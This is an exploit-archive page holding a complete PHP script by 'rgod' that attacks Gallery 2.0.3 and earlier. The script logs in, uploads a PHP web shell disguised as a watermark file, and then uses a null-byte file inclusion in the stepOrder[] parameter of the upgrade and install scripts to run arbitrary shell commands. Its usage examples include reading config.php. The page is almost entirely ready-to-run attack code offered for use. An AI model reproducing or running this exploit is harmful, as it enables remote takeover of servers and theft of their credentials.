what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

gallery203.php.txt

gallery203.php.txt
Posted Mar 9, 2006
Authored by rgod | Site retrogod.altervista.org

Gallery version 2.0.3 and below stepOrder[] remote command execution exploit.

tags | exploit, remote
SHA-256 | f8924adab9bc965dfeac5c86eb94a9bd4a873ce8874d3b75619b71e3f623ee76

gallery203.php.txt

Change Mirror Download
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Gallery <=2.0.3 \"stepOrder[]\" remote cmmnds xctn \r\n";
echo "by rgod rgod<AT>autistici<DOT>org \r\n";
echo "site: http://retrogod.altervista.org \r\n\r\n";
echo "-> works with register_globals = On and magic_quotes_gpc = Off \r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS \r\n";
echo "host: target server (ip/hostname) \r\n";
echo "path: path to gallery2 \r\n";
echo "user-pass: this exploit needs valid user credentials to upload a \r\n";
echo " watermark \r\n";
echo "cmd: a shell command \r\n";
echo "Options: \r\n";
echo " -p[port]: specify a port other than 80 \r\n";
echo " -P[ip:port]: specify a proxy \r\n";
echo "Examples: \r\n";
echo "php ".$argv[0]." localhost /gallery2/ user pass cat ./../config.php \r\n";
echo "php ".$argv[0]." localhost /gallery2/ user pass type .\..\config.php \r\n";
echo "php ".$argv[0]." localhost /gallery2/ user pass -p81 -P1.1.1.1:80 ls -la\r\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
//debug
//echo "\r\n".$html;
}

$host=$argv[1];$path=$argv[2];$user=$argv[3];$pass=$argv[4];
$cmd="";$port=80;$proxy="";

for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


echo "STEP 1 -> Login...\r\n";
$data ="g2_navId=xebb12f28";
$data.="&g2_formUrl=http%3A%2F%2F".urlencode($host.$path)."main.php%3Fg2_view%3Dcore.UserAdmin%26g2_subView%3Dcore.UserLogin";
$data.="&g2_controller=core.UserLogin";
$data.="&g2_form%5BformName%5D=UserLogin";
$data.="&g2_form%5Busername%5D=".$user;
$data.="&g2_form%5Bpassword%5D=".$pass;
$data.="&g2_form%5Baction%5D%5Blogin%5D=Login";
$packet ="POST ".$p."main.php HTTP/1.1\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.50\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet);

sendpacketii($packet);
if (!eregi("Location:",$html)) {echo "Failed to login...";die;}
else {echo "Login -> OK\r\n";}
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$COOKIE=$temp2[0];
$temp2=explode(" ",$temp[2]);
$COOKIE.=" ".str_replace(";","",$temp2[0]);
echo "COOKIE ->".$COOKIE."\r\n";

echo "STEP 2 -> Upload evil file...\r\n";
$data="------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_returnName\"

user watermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_navId\"

xebb12f28
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_formUrl\"

http://".$host.$path."main.php?g2_view=core.UserAdmin&g2_subView=watermark.UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_controller\"

watermark.UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_form[formName]\"

UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_form[1]\"; filename=\"SUNTZUUUUUUU\"
Content-Type: text/plain

<?php echo \"*#*\";ini_set(\"max_execution_time\",0);passthru(\$_GET[\"CMD\"]);echo \"*#*\";die();?>
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_form[action][add]\"

Add
------------2xqpvaUR5xYUMAC8KQGMSV--
";

$packet="POST ".$p."main.php HTTP/1.1\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.50\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=----------2xqpvaUR5xYUMAC8KQGMSV\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet);
sendpacketii($packet);

$two_in_one= array("upgrade","install");
for ($i=0; $i<=count($two_in_one)-1;$i++)
{
$step=3+$i;
echo "STEP ".$step." -> Launch commands through ".$two_in_one[$i]." scripts ...\r\n";
$xpl=urlencode("../../g2data/plugins_data/modules/watermark/SUNTZUUUUUUU".chr(0x00));
$packet="GET ".$p.$two_in_one[$i]."/index.php?CMD=".$cmd."&stepOrder[]=".$xpl." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
//debug
//echo quick_dump($packet);
sendpacketii($packet);
//debug
//echo $html;
if (eregi("\*#\*",$html)) {
$out=explode("*#*",$html);
echo $out[1];
die ("Exploit succeeded...\r\n");
}
}
# if you are here...
echo "Exploit failed...\r\n";
?>



Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close